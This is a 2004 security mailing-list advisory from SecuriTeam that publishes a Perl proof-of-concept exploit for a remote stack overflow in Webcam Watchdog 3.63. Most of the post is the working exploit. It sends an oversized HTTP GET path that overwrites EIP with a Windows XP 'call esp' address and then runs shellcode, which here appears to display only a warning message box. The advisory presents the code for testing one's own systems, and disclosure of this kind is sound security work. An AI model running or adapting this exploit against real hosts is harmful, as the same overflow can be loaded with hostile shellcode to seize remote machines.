[EXPL] Webcam Watchdog Stack Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/04

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Date: 5 Jan 2004 16:26:31 +0200

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      Webcam Watchdog Stack Overflow
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/5HP071FBPU.html> Webcam Watchdog
    Stack Overflow Vulnerability, a vulnerability in Webcam Watchdog allows
    remote attackers to overflow an internal buffer causing the program to
    execute arbitrary code. The following exploit code can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Webcam Watchdog version 3.63

    Exploit:
    #!/usr/bin/perl -w
    #
    # Stack Overflow in Webcam Watchdog - Proof of Concept Exploit
    #
    # - Tested on version 3.63 - MessageBoxA Shellcode
    #
    # - By Peter Winter-Smith [peter4020@hotmail.com]

    use IO::Socket;

    if(!($ARGV[1]))
    {
     print "\nUsage: wcwdpoc.pl <test_system> <port>\n" .
           "\tDefault port is 80\n\n";
     exit;
    }

    print "\nWebcam Watchdog 3.63 Stack Overflow PoC\n";

    $target = IO::Socket::INET->new(Proto=>'tcp',
                                    PeerAddr=>$ARGV[0],
                                    PeerPort=>$ARGV[1])
                                or die "Unable to connect to $ARGV[0] on port
    $ARGV[1]";

    $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90" .
                            "\xEB\x5D\x5F\x55\x89\xE5\x81\xC4" .
                            "\xF0\xFF\xFF\xFF\x57\xFC\xB0\xFE" .
                            "\xF2\xAE\x80\x47\xFF\x30\x5F\x57" .
                            "\x31\xD2\xB9\xFF\xFF\xFF\xFF\xB2" .
                            "\x05\xB0\xFF\xF2\xAE\xFE\x47\xFF" .
                            "\x57\xFE\xCA\x80\xFA\x01\x75\xF3" .
                            "\x81\xEC\xFC\xFF\xFF\xFF\x89\xE3" .
                            "\xFF\x73\x0C\xBE\xFF\xEC\x59\x42" .
                            "\xC1\xEE\x08\xFF\x16\xFF\x73\x08" .
                            "\x50\xBE\xFF\xE4\x59\x42\xC1\xEE" .
                            "\x08\xFF\x16\x31\xC9\x51\xFF\x73" .
                            "\x04\xFF\x33\x51\xFF\xD0\xCC\x90" .
                            "\xE8\x9D\xFF\xFF\xFF\x75\x73\x65" .
                            "\x72\x33\x32\xFE\x64\x6C\x6C\xFF" .
                            "\x4D\x65\x73\x73\x61\x67\x65\x42" .
                            "\x6F\x78\x41\xFF\x57\x61\x72\x6E" .
                            "\x69\x6E\x67\x21\xFF\x54\x68\x69" .
                            "\x73\x5F\x76\x65\x72\x73\x69\x6F" .
                            "\x6E\x5F\x6F\x66\x5F\x57\x65\x62" .
                            "\x63\x61\x6D\x5F\x57\x61\x74\x63" .
                            "\x68\x64\x6F\x67\x5F\x69\x73\x5F" .
                            "\x76\x75\x6C\x6E\x65\x72\x61\x62" .
                            "\x6C\x65\x5F\x74\x6F\x5F\x72\x65" .
                            "\x6D\x6F\x74\x65\x5F\x63\x6F\x6D" .
                            "\x70\x72\x6F\x6D\x69\x73\x65\x21" .
                            "\xFF";

    $ebp = "BBBB";
    $eip = "\x59\xAE\xE9\x77"; # WinXP Home SP1 'kernel32.dll' - 'call esp'

    $badpage = "a"x234 . $ebp . $eip . $shellcode;

    $request = "GET /" . $badpage. " HTTP/1.1\r\n" .
               "User-Agent: WCSAXRView\r\n" .
               "Host: 127.0.0.1\r\n" .
               "Cache-Control: no-cache\r\n\r\n";

    print $target $request;

    print " + Testing remote system\n + MessageBox should appear if
    vulnerable!\n";

    sleep(2);

    close($target);

    print "Done.\n";
    exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:peter4020@hotmail.com> Peter
    Winter-Smith.

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